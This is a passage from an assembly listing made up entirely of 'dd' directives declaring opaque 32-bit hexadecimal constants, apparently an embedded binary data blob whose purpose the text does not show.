48FE282Bh, 6807CCF0h, 3DF418BDh, 793AC00Fh, 6A1735h dd 306E50FBh, 0C1E13399h, 9B3DF00h, 79908AD9h, 528A414h dd 0F4167E42h, 6C26D0ABh, 350F6A5Ah, 4083122Fh, 0AAB3D7F3h dd 0E873071Dh, 0B04B8F3Ch, 2AA148F9h, 4ACEB501h, 0BC3170A8h dd 0E3F4BF61h, 8A513E98h, 43D68787h, 16AAC728h, 893E4075h dd 5941002Eh, 0E098DFE3h, 310A47Eh, 2E3DB312h, 0C7A84F5Bh dd 0C9001D38h, 0C4041EFFh, 0AE68F3h, 833073C6h, 62A578C0h dd 54DA9E00h, 3A927A8h, 0EA7901B3h, 8074FAAEh, 0BAC7F046h dd 0AFDCA001h, 4FE20247h, 24562880h, 0DA7E2FA6h, 9D018DF6h dd 0E1577614h, 38EC5070h, 0B9C10A24h, 4098782Ch, 0CFB38DB4h dd 0BCDD8400h, 4640E34Eh, 34877789h, 208EFEA7h, 82E953ACh dd 71AC4430h, 0F1D7EDEh, 64411056h, 0E02955C7h, 0D40FB85Ch dd 66340301h, 9EB040Ah, 0ABBCFCh, 942AE686h, 2E8E0FE4h dd 0AD50EF1Dh, 8BC62100h, 0FE37D510h, 2360B19h, 8800E94Ah dd 0C9BAC108h, 2D855100h, 8321B79Bh, 0E99700C5h, 7440891Ah dd 2403BDC0h, 0D35AAF60h, 0CA810094h, 9B04D545h, 5D3F396Ch dd 44B600B3h, 0C466EC08h, 0A3E51CD8h, 0A75E814Ch, 0C8E12DF9h dd 0B37BCC5Fh, 0EFAF6700h, 5E16A43Ch, 808A0022h, 29C752D3h dd 0F9F2597Ch, 1E153Fh, 7779A491h, 0BBD7D9h, 3EC8E67Ah dd 13689489h, 0BA93A000h, 4B149245h, 82FC11h, 3AD7CBC2h dd 21CCD82Ah, 25396090h, 0D4F0C144h, 9AEE00AEh, 272C909h dd 371417F7h, 82F0305Fh, 0A0D59252h, 0B2940EC4h, 0E5DC3E68h dd 45E051E8h, 50F07089h, 0D50066B6h, 0E1294FB7h, 0F8A960F2h dd 0EE2700FEh, 6E25D0E5h, 0B4FC8253h, 6DA1B00Fh, 0C43D00D1h dd 8E0770h, 8FABCDBh, 591C9A0Ah, 19F99B01h, 0AE3951E1h dd 28A8388Fh, 22BA9D80h, 0AB60B636h, 0F05EA998h, 5DD0093h dd 7B0E8678h, 0CC00C14Fh, 423AF914h, 0FCE587D7h, 44B1002Fh dd 418A2DDAh, 9D095170h, 80B52B5Ch, 0F412682Ch, 204700B8h dd 2DB6C83h, 6D00EE7Bh, 0D63C3AA2h, 0EC2C7350h, 0B00E78D2h dd 111500B6h, 0BD9A7EADh, 2B504B7Bh, 907FC9Ch, 96FADE29h dd 87275980h, 6E160083h, 6CB8EAE6h, 8F39C864h, 8722648h dd 0F75EE100h, 0C6653Ch, 5C12BFFAh, 8E42B1E8h, 0A45413B0h dd 6F142190h, 1289CB56h, 740216AAh, 83E09ADEh, 0A8A19DD0h dd 0F69610ACh, 8212023Ah, 35D1E97Ah, 0D06E1940h, 810121FCh dd 0B60B90Ch, 796014A1h, 9E8A0040h, 194DA72Ch, 8B24CF6Ch dd 0E4281C63h, 0F8429C00h, 0AA3F12C9h, 0CEA00003h, 91DC05Ah dd 0C400B039h, 4AFA77B2h, 4D4F10E5h, 630FEC8Eh, 0E480526Bh dd 0CBD6124Bh, 4849C078h, 0F50D0070h, 931F967Ch, 0C84F5054h dd 0C65F0769h, 0DC562861h, 0F1003110h, 26F690ACh, 0F4159Ch dd 6D453518h, 0FCEB7124h, 0AADBBC06h, 14E45C56h, 0B453FEDCh dd 80E8342Bh, 0B513A70Eh, 0FC00BCA4h, 5F4561F7h, 0DF89BDBFh dd 7426003Ah, 14B27D43h, 0F0A29728h, 5DAF0600h, 0B005E3F8h dd 0C493506Dh, 0F1260098h, 8B94852Fh, 90021D65h, 46B90D59h dd 0F8A0A0C1h, 30C8BB41h, 4C1BE25h, 6348A516h, 0ADCF86C8h dd 0C79D04F9h, 97DCC577h, 0C9C61408h, 5EEEDCE4h, 0A7321613h dd 102E1C01h, 88848F9Dh, 0BE91D0B8h, 5F5CFDC1h, 23A04Ch dd 0FF4DCAC5h, 0D5A19C2Dh, 0BD0F607h, 885D7714h, 2770A600h dd 0A5CBE2F9h, 41E500B4h, 0BB86504Fh, 347DEE1Fh, 0FA3ABCC0h dd 2C92BEFCh, 37C2611h, 41F456Bh, 0C86864EDh, 41C0BCD8h dd 45FB4850h, 6D1306D1h, 218CF90Fh, 0BE2E17F4h, 0C6002C36h dd 0D6341F7Dh, 319D2B8h, 10F39CECh, 0C58A4E88h, 3C4B4F00h dd 9B1382ABh, 4A280017h, 83F93145h, 0CE00E45Eh, 0F52D37C3h dd 2439073Ah, 4AD8F264h, 86802520h, 0C73A7362h, 1F38D800h dd 8DB0F34Ah, 0FCF40D06h, 0ECC949A3h, 3D141885h, 1ACCC9Ch dd 748DDE2Eh, 0E84088D3h dd 0AA3EDA4h, 6D05FB0Eh, 711C04FCh, 707441DDh, 11E8965Ch dd 16590AA7h, 20D46004h, 43E02582h, 220001F6h, 76F14AF4h dd 0D69500D9h, 8DAE33B6h, 0D001D507h, 151EA9B9h, 4C4D3D62h dd 0F4308031h, 1E460077h, 409F3AABh, 0B8007022h, 1FE0D351h dd 0E01112DCh, 0EFCB020Fh, 95E6C0DDh, 98F80663h, 6D3DF5AEh dd 24290051h, 3B41D280h, 5E97182h, 0D4620133h, 29B38057h dd 4483A9Dh, 82560018h, 0FDF35DA3h, 0DB5B0093h, 1FE41CA9h dd 8C004A84h, 1D865888h, 3BBFAA2h, 5ADBA11Ah, 17F3CDD6h dd 0D700217Eh, 0B794A522h, 707C4Eh, 0BA8DB8A7h, 60C9D503h dd 0F1667100h, 0B122DA7Ah, 0F08F7A24h, 4B907E7h, 8090D2BFh dd 161C8C3Fh, 0DE34F00h, 34841856h, 0B6118DCh, 0C2EB78F6h dd 0BBC31318h, 64B1966h, 0FA98E58Ch, 2E002026h, 38FC6C60h dd 2FA9D7h, 0E80F63Bh, 4D7C8925h, 0F5B63E00h, 168142C0h dd 4E22009Bh, 0AB721A20h, 0F713E592h, 0FEE1864h, 4BA040B8h dd 6BD64598h, 8B0A2B00h, 551E6402h, 894C075Fh, 806050ADh dd 6BBC8038h, 0BD025A16h, 1805C1Eh, 0C68B746Ah, 0A51E4CCh dd 411C7A53h, 0A8B10094h, 18A2E1D9h, 61B880E3h, 7AC76042h dd 0C0A01D3h, 3A49691Fh, 0A9E0589Ah, 0B28FF400h, 0B187A11Eh dd 4A5F002Eh, 8A7F7DB7h, 1602906Dh, 0F6A88417h, 36F0819Ch dd 2210E3FEh, 34013CE7h, 209FF27Ah, 0E1811074h, 4FA2D52h dd 7B7FF099h, 0D8CD3130h, 1737E455h, 0F03D54D4h, 0CC00986Dh dd 1C955024h, 0AD4544h, 550258F3h, 0C3C0A6A2h, 0DC53F22Ah dd 0A3C20800h, 12693927h, 23BF6B9h, 0A2037232h, 0A4986F35h dd 561D190Ah, 90F03C8Dh, 6A6CB1h, 34B8E1F3h, 51EAECC0h dd 34AE56Bh, 12531BB6h, 2C9A38E0h, 5003070h, 4E6AB926h dd 4BC32Ch, 0BEA7B891h, 0A62351F7h, 6218C900h, 37BF260Dh dd 5073006Dh, 4B1AE4C3h, 5F0B01B0h, 0AF4146h, 95F508DAh dd 194E016Dh, 0F950371Eh, 0B5A440ECh, 6000E17Ah, 80799C25h dd 3D94C381h, 8400A136h, 894D97AEh, 4000659h, 0CB734D2h dd 0E330BEh, 0BB0758B0h, 8AE6AE14h, 95CBC1C0h, 3BFA50D3h dd 76807A92h, 685F66Fh, 0F2986954h, 20106C13h, 118D0807h dd 74AB00CBh, 37C6E91h, 18574409h, 0FE811445h, 107C2424h dd 0EF92BC0Eh, 411E921Bh, 52E66B07h, 6890FE34h, 0E4924CEBh dd 0CE6609ECh, 2C00B345h, 51C59376h, 35E85D0Fh, 9DC78091h dd 87855Bh, 532C884Ah, 3B4316AFh, 0AA9A3D07h, 68A0BFF5h dd 0F074ADA7h, 1C2A136Fh, 7633009Bh, 0A98E9259h, 5C015377h dd 54DF3A6h, 0ACD434A0h, 0C7F000B4h, 2199323Ah, 5E063C80h dd 67E66257h, 34953D38h, 0FBD2DC0Bh, 0D8466201h, 1DEAD0DEh dd 73CDBE0Eh, 0F20BA00Dh, 347051Ah, 55DD75DBh, 0A2A04087h dd 0E900F0D9h, 57F6CA35h, 7547491h, 0DFEB0AB9h, 539C706Fh dd 0E00119ECh, 0A1DB60EEh, 0AF00C4Ah, 3260022h, 30643F40h dd 0A9005CBBh, 0F28EFE33h, 7EAE32h, 0BA9775CDh, 9C215A70h dd 649A1A00h, 4B753D0h, 0CAA61EC1h, 56F03B9h, 8BE07B3Ah dd 80007522h, 95DA1678h, 7826A2D9h, 0B8401D71h, 4D584EB2h dd 90F56243h, 77925FD8h, 530B5C0Eh, 55BF83CAh, 0C7DF982Bh dd 0D7C82C9Bh, 729C032Dh, 65B879F4h, 2C01314Dh, 0A090711Bh dd 0EDEC1873h, 0D1F624h, 617D0459h, 0A5FBFC9h, 84163800h dd 9AF9C380h, 758E00E2h, 0EC88A587h, 0FB38E033h, 0C269807Ch dd 3E58A34Dh, 642E2C6h, 330AE6E2h, 16605856h, 6B57E319h dd 0F72201C7h, 79679D2Bh, 0EF44F486h, 0DFD228C7h, 0BE30E00h dd 0E5BB00ABh, 7C1A9E8Eh, 0E400B880h, 44B310ACh, 5EFE9F1h dd 3E980812h, 8636C094h, 0A305B139h, 54FD8576h, 615E8380h dd 496B0088h, 0D0D8126Ch, 0AD076EEDh, 0E61CC96Ah, 0BBA976C3h dd 0CE2DC810h, 4A7E011Eh, 888A638h, 7A96CC6Fh, 0FAF3A001h dd 0D1E8C25Eh, 1DCEB170h, 833EACh, 45D39416h, 9300A7FFh dd 28D1D697h, 0E6206D7h, 0DB7ED30h, 4CAECBA0h, 0E8EAF518h dd 14002398h, 0C3607CFFh, 9762355h, 5BA298B2h, 8035D5E1h dd 71E6E852h, 0FECF64F5h, 3FDC0143h, 0DEC3A10Bh, 0BE0730AEh dd 6E770800h, 679F708Bh, 0E17FF2h, 0ED6197FEh, 9BFAA02Ah dd 4E00DB79h, 0AFF705B0h, 12680Fh, 360B593Dh, 9080A5E9h dd 0F45A2C00h, 0F09A77C6h, 53540009h, 0D949CE8Fh, 97A076DFh dd 0E939402Ah, 21E0012h, 0CDF15D9Fh, 69820034h, 0C3B03DA7h dd 0F5E4560Fh, 7A2E6200h, 0D5A02FFFh, 0F3BF00AFh, 0DD6393ABh dd 9C003618h, 0CA3BD8Dh, 0E76240Fh, 0F8F4CF5Eh, 725BA400h dd 0A600502Fh, 0C30BEDCDh, 19FC227h, 0B66AFD8Dh, 0BC561532h dd 57ED01A1h, 868BDC64h, 0F709EEh, 3770F123h, 0C2E30241h dd 79D7745h, 507DAB80h, 0AE03B45Eh, 0EC183C0Bh, 9BD1D88Dh dd 11C91E63h, 0A096039Ah, 30E7CC39h, 82577945h, 9C9A54Ch dd 0F49528F7h, 76D200D4h, 0B0876D55h, 0A88D95A0h, 6BB8F700h dd 0D58E5ADAh, 135E0E08h, 41ACE433h, 5F0092B0h, 2F259051h dd 4C2762E7h, 4600EABAh, 0B38B6D04h, 0EF00B587h, 0DFF889Eh dd 0A63D02D5h, 745E07DCh, 231B7F13h, 4D81C91h, 66003002h dd 0A64CCA8h, 0B518A3h, 710CA1CDh, 4A5E5B81h, 0EB2C0209h dd 0B8807FB1h, 0C3BDAECCh, 0B4780E00h, 0FB7DC19Bh, 1A703CF9h dd 86F3DF80h, 38CC6B1h, 50C002E8h, 8A8F2746h, 7DD20070h dd 0D4D3CB6Dh, 0CA006529h, 8CF8EF4Dh, 14B061FEh, 0AC1F36E4h dd 16F5F0C0h, 0CE7190CBh, 0A0A11C7Ch, 0E1BCF083h, 3A57F403h dd 0B01F7561h, 0AE525Bh, 21CF7024h, 0A699D096h, 0C4865F0h dd 2ED700B8h, 4BB98B8Dh, 18E439A8h, 767BCF80h, 959C75A3h dd 0B777DC00h, 0DF8CFBF1h, 0FCA60035h, 0E46BB947h, 0EEF062CFh dd 0E42EB00h, 0A4D38DF1h, 0AFD4075Eh, 806DF92Bh, 60CE822Dh dd 22C9B000h, 0D7FA4866h, 6CA409FFh, 0D007761Dh, 60EA2038h dd 2200E7BFh, 74FBBEB5h, 945D5DCh, 71DEA964h, 0F3B75801h dd 2CD240EAh, 0FA24756Ah, 68008C79h, 58BC7F97h, 0D8356024h dd 0B77510FCh, 0DF3D009Ah, 1DA400EEh, 0ACECB22Bh, 0F0930004h dd 222831B7h, 28C00F6Ah, 0E02C6EBh, 782A7F84h, 18360094h dd 3E42802Bh, 0BF305B31h, 0FBC8F877h, 0FDBB09Dh, 5BA2068h dd 2BCB023Dh, 50601706h, 0B43C7633h, 9309809Eh, 0A16A53B8h dd 22EE0144h, 0DEF4762h, 944BC1h, 0A44AC5A3h, 283A31E5h dd 39E22B81h, 0F7338426h, 19E009BEh, 20F90690h, 4E02EFD0h dd 0B00E6B60h, 0C36068A7h, 315500E6h, 69D00DDCh, 50742B4h dd 950419E3h, 0AC621E50h, 63C2DE1h, 4ADD2460h, 187CD803h dd 0D3EE254Bh, 0BD7A99F0h, 7080F03Bh, 0C6D69E00h, 464F9123h dd 0C850EAEh, 0BB005CECh, 8E90D1DDh, 96FACD1Fh, 947AC340h dd 0A28025h, 604D1EEDh, 75F774E2h, 84F85Ch, 0C9218BA1h dd 0FC8DCCh, 2FB90853h, 0C47601D3h, 99E3405h, 24200BDEh dd 979B4Dh, 0C7050EE2h, 0B56CAD81h, 98FBE100h, 8EA45A08h dd 47A601BDh, 551C0D75h, 0E3398181h, 37B927DDh, 9AFCD88Bh dd 0C33DCF81h, 0CC4189ABh, 0D4E00D0h, 0F8D278B8h, 0ADCA0356h dd 4A418A7h, 0FEFD508Fh, 0D5F4D833h, 0E0F58700h, 0CEB62ACDh dd 0C45B01F1h, 0E22899A3h, 44A8F479h, 65C17600h, 17509227h dd 373F00B9h, 47F6CCA7h, 1203FBB8h, 0F7A26D03h, 0C2FE00B0h dd 43CA6976h, 0F1013B72h dd 0D633A660h, 1BDCEEF2h, 0FEF51EE3h, 0C3725DC3h, 5E598FFAh dd 0A0D9EBD0h, 38EE8400h, 4954A9F0h, 39B000BFh, 95A7B3B5h dd 0C300094Fh, 2F7544B2h, 7B5B1B4Bh, 0B43D0FAAh, 98094EFh dd 83DBA55Ah, 78BD5E1Ch, 5482EA80h, 7643F8h, 3330082Ch dd 6007B747h, 0EE9A8901h, 3E01C9BBh, 0EF2E9D4h, 20CE723Bh dd 0BCFBC4C0h, 673AE6FDh, 9200F317h, 0DE4B5457h, 90631A52h dd 1B78C000h, 4E3A3FD6h, 0DB03407Ch, 55C94A8Ah, 0DD2D9852h dd 6102012Bh, 87B05BF0h, 8AEBF4FBh, 1F283400h, 5809FC72h dd 206B0E7Ah, 3B003575h, 4EB0BDDEh, 0C02D5F00h, 54D505D4h dd 0C8B09E4h, 1010D113h, 0BB1EE193h, 0FC8291DEh, 809CFE55h dd 5C232B4Ch, 14100F17h, 0C200E27Ch, 3835A986h, 0C8F11800h dd 0AB17AA6Eh, 43FE3Eh, 0D091DBBDh, 3830F22Ch, 36B9631Dh dd 73B08F43h, 44C1D25Bh, 28FC0164h, 0C07C96A3h, 0C2D02005h dd 0AFE7AB00h, 0FC893F9Dh, 0E35F1D9Bh, 293B405Ch, 4BF334F2h dd 80F11301h, 0F6CE79Ch, 0A45058B0h, 53018F97h, 0F18DBF05h dd 56E401DBh, 9A80A04Fh, 0D1C7242Fh, 48583084h, 3CF23818h dd 2500B090h, 0A99A8E3Dh, 0EC5E65C5h, 6A1837F1h, 192D17CEh dd 211F8400h, 9B020E2Eh, 795922EDh, 0AD7AC04Ah, 0D2670ED8h dd 0EC037B5h, 48E53106h, 35BC5050h, 3A324400h, 0CB6CC2AAh dd 0F439488Ch, 1D1E27C1h, 3721048h, 2A670226h, 5B6B02BEh dd 58EE9F60h, 8D20E504h, 71C09C74h, 0DFB85Ah, 0EA6A76D5h dd 8167D368h, 65BBCE03h, 0E08ED86Eh, 94E7C10h, 35FADE8Ah dd 5C331800h, 3700B096h, 4514EF01h, 4FA688h, 320CE13Eh dd 8190CF1Ah, 0AC86EA06h, 206AF4h, 0F09C3FD5h, 0B7E6632Dh dd 3BA17E07h, 288DDAEh, 6118276Ch, 0E4FD9FC0h, 39B830Ch dd 0FEFB5025h, 0F49096h, 8733A243h, 817B6255h, 140C6D00h dd 0ADE39523h, 0EFC70051h, 0BEE57E98h, 24003884h, 784EFE8Bh dd 451A3Dh, 2BE1499Dh, 892867E3h, 0C49A2201h, 464C382Dh dd 3B120h, 71BD3491h, 8FDC8280h, 0FB366900h, 0B25A7361h dd 2D3B001Ah, 0D9B415D6h, 0A000F95Eh, 0FCE00CBDh, 1DB13E77h dd 410ADB46h, 0D2B4EF54h, 0F7572043h, 4E23D31Fh, 0BD145240h dd 6527FBh, 9CE23FB3h, 0DE26902Ah, 0CF87F200h, 0CE147ADCh dd 39CC0A93h, 202F85h, 0F43FE263h, 20037555h, 0C8A261F8h dd 16E4F022h, 2D260188h, 6A21ED04h, 0D698F320h, 141C366Eh dd 5580ADF5h, 2818B764h, 4B50C0F3h, 2F0AF719h, 0DEC3DD00h dd 981A388Fh, 5B801C3Dh, 0D9EA8099h, 0E6344B1Bh, 5FBD7B0Fh dd 0FDEF43E5h, 0D03FC83Ah, 11E26116h, 0E441552Ah, 0A200382Fh dd 1CBFB7D8h, 1DE01EEh, 35CDE992h, 0E402452Eh, 0F9C3ED13h dd 0A8E74AB3h, 0E66B84h, 2069B70Fh, 9CD48199h, 0A3A2EF00h dd 6B5CE5F2h, 0A97900DAh, 28376805h, 0A50A9E54h, 90848B65h dd 98F89780h, 82A69Fh, 0DC2F143h, 0B9BA4F3Bh, 3223DE09h dd 0AABC00EDh, 3A2B27ADh, 0B400851Fh, 3BEE458Ah, 0D80E95F0h dd 60227442h, 0D5992EBDh, 0D259005Ah, 24348841h, 3F289031h dd 65077440h, 796ADB9Dh, 0EC00AF35h, 0E9968962h, 368A4C2h dd 0B698D549h, 779083CCh, 0DE0BB89Fh, 108245h, 8B4B32DBh dd 79B63C66h, 8084069Ch, 0E50C4FA5h, 0C102FBC2h, 1903A744h dd 65BC8182h, 8CF8BF63h, 0EA510FCCh, 2B454CCFh, 6D43452h dd 99296A86h, 0B9F6EB00h, 3DD10EBEh, 0D4D50126h, 3FE7A61Fh dd 0FCC85811h, 4247D603h, 0A0DE7A1Dh, 0ACFF91Eh, 87C72559h dd 0AC1200D4h, 9F07B15Eh, 74491300h, 814BA604h, 7C745Ch dd 98D3592h, 0AECFBCA7h, 299B4705h, 0D868A2D7h, 0D5778Fh dd 0E0B1A08Eh, 2A684BB3h, 1E0F8000h, 83E9E2C3h, 70F40F66h dd 8D6C2F05h, 0D40B67C8h, 882AB8BDh, 3422CCD1h, 0A1309D00h dd 0AC21B71Dh, 20711747h, 6BB90B90h, 0ED2FAA83h, 0E1F8903h dd 9052C5A4h, 2262C1h, 469F5869h, 0FBD58AC8h, 0D9066800h dd 0C0959021h, 2CA9012Eh, 25A76ABDh, 0AF7C20FDh, 740E28F6h dd 0C92095F3h, 0C4AC0AF5h, 6231C300h, 308EE730h, 84E98186h dd 0FD1F181Dh, 3CAE2E39h, 0A596A707h, 12CD85Ch, 5DB2FB86h dd 0E8846CA1h, 0E4071728h, 36A69449h, 0C880EBB7h, 28C0E5BCh dd 42CD93Dh, 9F52A3A0h, 75C88082h, 5030B0F4h, 0E485E8FEh dd 260F1F29h, 64646Eh, 52F47B02h, 0A1000DC1h, 23819D77h dd 0CEAD8BFEh, 90B87378h, 19D19550h, 359700C4h, 0EED8F3F5h dd 0DAA907ECh, 0F9BD152Eh, 50F4400h, 897A4A64h, 0A5F5AC00h dd 5EA6A192h, 8D8C0028h, 0DE4291CCh, 391F416Eh, 946EF52Ch dd 70B17F8Dh, 9809C2ECh, 0E9A00178h, 0AAA22E5Ah, 346420A3h dd 2CF60700h, 2D03D2C3h, 13F47433h, 40CE4DB5h, 84C7DB08h dd 0F7424B90h, 25238F00h, 7439DAABh, 6C005890h, 940A607Ah dd 780CDF77h, 0C88700DEh, 8851E23h, 80F3436Ch, 56EAFE38h dd 78642EDBh, 140200DFh, 9CF7A21Fh, 0B498B34Bh, 0A51A81FFh dd 647D5D37h, 501349C8h, 0ECCBCCEEh, 0BB3C012Dh, 29D69C4Bh dd 87FAC804h, 0C7B5A500h, 0C880928Dh, 0B3393C9Eh, 56DE9D0Fh dd 362A5DE0h, 0CB005542h, 0A60F2568h, 5EB85B2h, 0C22DF3Fh dd 0E4A4283Ch, 0A452EA09h, 7488043Dh, 220A008Bh, 3E90C13Bh dd 0E87F7780h, 8B463C80h, 0E42032FCh, 1C8C07h, 1FA5994Fh dd 4EB1A2A0h, 6A83F603h, 0B20BC61Ch, 8CC84842h, 8B010966h dd 8006F248h, 0C8A19946h, 0A63064DCh, 483F1301h, 508AFDD7h dd 0D32EC8h, 71EB7627h, 41A32F8Ch, 7E0D2B07h, 160547CCh dd 4247880h, 0F5F003CEh, 0E3BFC3BEh, 673CE94Dh, 6FB0DA68h dd 73162DADh, 0C0AC040Eh, 0C0F91C4Bh, 0F021F558h, 4EAF040Ch dd 0E3D8FFh, 0BC673D3Ah, 0A41E692Dh, 718FD60h, 4D398F06h dd 2602E8BBh, 1BC1AB9Ch, 0EB0EAA60h, 6E01AA13h, 0E75DAC40h dd 0C12BB667h, 4DB3FC88h, 0A99C243Fh, 4C4E9824h, 0EA73D800h dd 36803C0h, 9DB62BC8h, 0AAC84982h, 0AD0739C5h, 0B7D579EEh dd 6CD9FDA1h, 48677AF0h, 362C0C8Bh, 9B6B8928h, 84923300h dd 0F300346Ch, 26955A2Ah, 0D47541h, 8D550670h, 728ED24Bh dd 433A2D00h, 0FC8591CAh, 0BC1B00C0h, 0D02D10Fh, 0AD799C11h dd 4F8BBE00h, 1C8C9436h, 0C5DD03FAh, 0C96C8599h, 27583BA8h dd 0BA95C309h, 89788470h, 67FCB4C0h, 5B551DF2h, 7B5700BDh dd 0D09EFE26h, 0D0FA9339h, 8B09B8A4h, 143B9218h, 28C10028h dd 7625AA5Dh, 4807C618h, 5AF0D924h, 1273EBC0h, 0CDFEEFh dd 7BDE470Ch, 0C3F18C4Dh, 10870F00h, 351E9126h, 6AC0B763h dd 1800787Ah, 72DD5631h, 5CF748D5h, 33046830h, 0C05B507Fh dd 0C5C1C86Ch, 4EBEDF1Eh, 29897682h, 9A4E674h, 0B6DE3824h dd 394BD000h, 0DC05CCFDh, 0CA8F8E71h, 80AF5092h, 722ABDA4h dd 8C24DF4h, 0B6B13600h, 0E06BFEE1h, 0F0051A79h, 0D2163915h dd 835A6CC2h, 0C01CA8FDh, 0B0BA0F3Bh, 0B0EC139Ch, 9AA8402Fh dd 0A1377926h, 2054B900h, 8F96D987h, 14329D1h, 8C0792DCh dd 2200E020h, 41757CB6h, 0B44A80h, 0A2A23FAh, 0C0C5D248h dd 0FCAA442Eh, 86D4FE00h, 285085Fh, 75B01D82h, 0C0C1C0C4h dd 92B5F8E8h, 0BA5Ch, 4B0C1B8Dh, 91FDDF24h, 22C82C9Ch dd 900C9880h, 20CBAF4h, 0A38D9264h, 0E4E67165h, 0F8E1B8A6h dd 2B03AD07h, 9B46DF47h, 5F2091B8h, 16381C20h, 0DB3ADCh dd 0AF61E9CEh, 8200E8B3h dd 846FE2A0h, 18384E72h, 27C2F95h, 0D9091C12h, 8A4B36h dd 80AC24B0h, 0FCB1B7h, 9AA5F46Ah, 0D3025E95h, 359DB54h dd 0B59880A4h, 0F339308h, 837DBC5Ch, 44769FE0h, 6006EA6h dd 0AC8D234Dh, 16DFD165h, 202A30ECh, 0EDF4858Ch, 0A390EF50h dd 2FE39B00h, 0C40A3543h, 8F6F0632h, 69E12277h, 317FF200h dd 96BD5AD3h, 299401C0h, 0B845EEABh, 0C0C8326Bh, 691701F7h dd 2630B872h, 40E0BF47h, 19EDA60Ch, 1558AE67h, 6B3BDC51h dd 71DCABD5h, 30F54B68h, 0DD1A4E10h, 0FF30561Eh, 9901359Eh dd 2DBDFBBCh, 0C59CA062h, 60F56967h, 0D82949E8h, 8D0A4209h dd 250C1C77h, 14A30576h, 4400A0A6h, 561C8A99h, 131653A1h dd 400C0542h, 818F49BCh, 804DB3C7h, 0CD151F60h, 683C70B2h dd 4D1CC100h, 80DD105Bh, 82F2DE54h, 5A05774Fh, 2E56C3ADh dd 3B1D1C70h, 220E0045h, 0E7F330DCh, 550C2914h, 184D238Eh dd 0BAB00271h, 0B77853ABh, 0BC720BC0h, 15AAF00h, 8084A7BDh dd 59481842h, 0C731E8ECh, 7C047600h, 40D79733h, 0DBD400C6h dd 6D359452h, 545CD2E2h, 0B822E0ACh, 2566FE65h, 0D0B07430h dd 8100107Eh, 0FE54F02Eh, 53D94F7h, 0A090BF07h, 44FC0076h dd 0C7D1DDB5h, 36BDE304h, 0B4C0E7D8h, 46EFBE5h, 1B205A56h dd 0D37C90F2h, 6D0368ACh, 0BC1F104Dh, 7665E8E9h, 1DF3012Ch dd 0C50A1E59h, 0B39BE8A6h, 14108549h, 70AFFB6Fh, 0BC3FAF73h dd 3670AE91h, 802BB409h, 0A9A61590h, 0E20D0448h, 0C18A906Eh dd 9741543Bh, 30423988h, 0CE4FBEh, 0F22C9A40h, 0F058F0B0h dd 0E43E0024h, 81C89BBEh, 2AFEEAh, 64C1A58Ch, 42E3ED34h dd 0A100E89Ah, 8FEEC91Ch, 4CE8FD74h, 0E900ACC4h, 397E5806h dd 100361Fh, 0E098BE44h, 489EB0DCh, 1EA020E7h, 5C901A3Fh dd 5F914504h, 38958FD7h, 975760C1h, 0A760E300h, 3A31513h dd 7898388Dh, 31C72619h, 14B23316h, 0C48AEC61h, 808008C6h dd 535FF1A2h, 5600643Fh, 0BF57A6Eh, 605BFAFEh, 71F1E0C6h dd 10373AD2h, 0A761433h, 5529020h, 37E7489Fh, 3816C047h dd 790ECF6Bh, 43176CDBh, 0E8152831h, 198DE5h, 0D88202A0h dd 40C9724Dh, 7E22C00h, 0B5D2C31Fh, 1E550080h, 2787F15Ch dd 9005F94h, 2D8CEB2Ah, 24320742h, 38C37Fh, 75AF0FF7h dd 4300A8ABh, 39644C68h, 871B78h, 0E00B7CB8h, 0B3D1BF6Dh dd 4DF20600h, 868E599Fh, 3B2000D2h, 0FCB0838Dh, 84038F3Fh dd 87FFD65Eh, 298C8098h, 0CE361C7Ah, 66A70DCBh, 0C938C459h dd 0FDA26000h, 7A2546B9h, 947F300Dh, 4AE62BB8h, 0D3541400h dd 8DAF36BBh, 13AD0CC3h, 0DED4EB4Ch, 2F1F6F00h, 25349D26h dd 5DCF180Fh, 990B03Eh, 0D1007FF8h, 0FD99029Ah, 11E36F8h dd 7EEA5DF5h, 48B3A761h, 4D686A98h, 0EE409048h, 0C3BA530h dd 0D753CD38h, 54ECF1E1h, 60850F30h, 0FC872110h, 23223067h dd 0A7206620h, 385ADF00h, 0AC2B4C91h, 0B874D2h, 0EBA304C9h dd 0F6CC477Ch, 0E3D98300h, 0CF35ABC2h, 56872AB7h, 33E00098h dd 2FEF9495h, 8C14A6EAh, 0A0EED0h, 4DE8E12Ch, 594E7Eh dd 0E6ACA9Ah, 2DF65BC6h, 41E4A500h, 178B8188h, 0C2B63049h dd 2B3D5450h, 0FEBCF550h, 99C08671h, 4F83CF6Ah, 72F0C056h dd 21D63087h, 0CED54A01h, 611AA371h, 6AA0C447h, 592C13h dd 33A0A5B9h, 0B4113F49h, 4D282702h, 445D0A93h, 0D3A9C04Ch dd 24995391h, 826AF03h, 0B85F424Ah, 19C8CFC9h, 10EA1DE8h dd 0A8D4506Eh, 74011C88h, 0B8DAB384h, 1EF1DC7h, 4FB97A81h dd 40D7A636h, 63505C50h, 0F461CC00h, 0BA480817h, 4CCCA80Dh dd 4BED1474h, 0A10C80C1h, 420C20FEh, 0BB00A67Fh, 0DD50E96h dd 0AF07DC3h, 84D9CF63h, 0C1391FD4h, 0FA7A9EADh, 7D8C405Dh dd 0C9282349h, 7209F02Eh, 110C5D4h, 6BDE9583h, 52D7A080h dd 732D3322h, 98241371h, 803DACA0h, 57DF159Eh, 672FC7h dd 0A1FDFC4Ch, 0DC0465C1h, 0C23A017Dh, 6F9783C0h, 88383713h dd 0D9779Ch, 29A1F506h, 71B36EECh, 70162600h, 5DFD3F1Bh dd 9F54B7FCh, 1378030h, 0A4780214h, 0DB92F413h, 0C9572890h dd 5D31A700h, 3C0BEDBFh, 9ED6008Dh, 2B90C0EEh, 3E24E14Fh dd 56006ECEh, 8C5EAFD7h, 4DB61966h, 5A8F7964h, 80CC3B78h dd 4E15EBF9h, 1BEAACh, 60A1D5C5h, 0CC722B82h, 140ED67Ch dd 0E10A28C6h, 70F43FB8h, 0FA623C0h, 0A2052F45h, 0D6E0FDCFh dd 0E66771ADh, 33081900h, 0CFA18BEBh, 0C7151756h, 2E00AB6Dh dd 44F51360h, 628C13D3h, 0A1C400D2h, 0C6B9E25Dh, 27815801h dd 0BB70B303h, 1EAE7C20h, 896C80B4h, 1C1076DAh, 0AF003EC2h dd 0E52A0A9Ch, 0ED12EB90h, 0BDAA9040h, 78FF1D7Ah, 84D80056h dd 0E137727Eh, 6AF36C00h, 3E7B63EEh, 6EEF037Ch, 0B4663668h dd 60C891B1h, 0BA0F212Bh, 62CF96ACh, 4181F06Ah, 49A9DBCCh dd 35925Ch, 0C64A3A98h, 0DE54B6ABh, 710AD1D0h, 0B88A9E4Eh dd 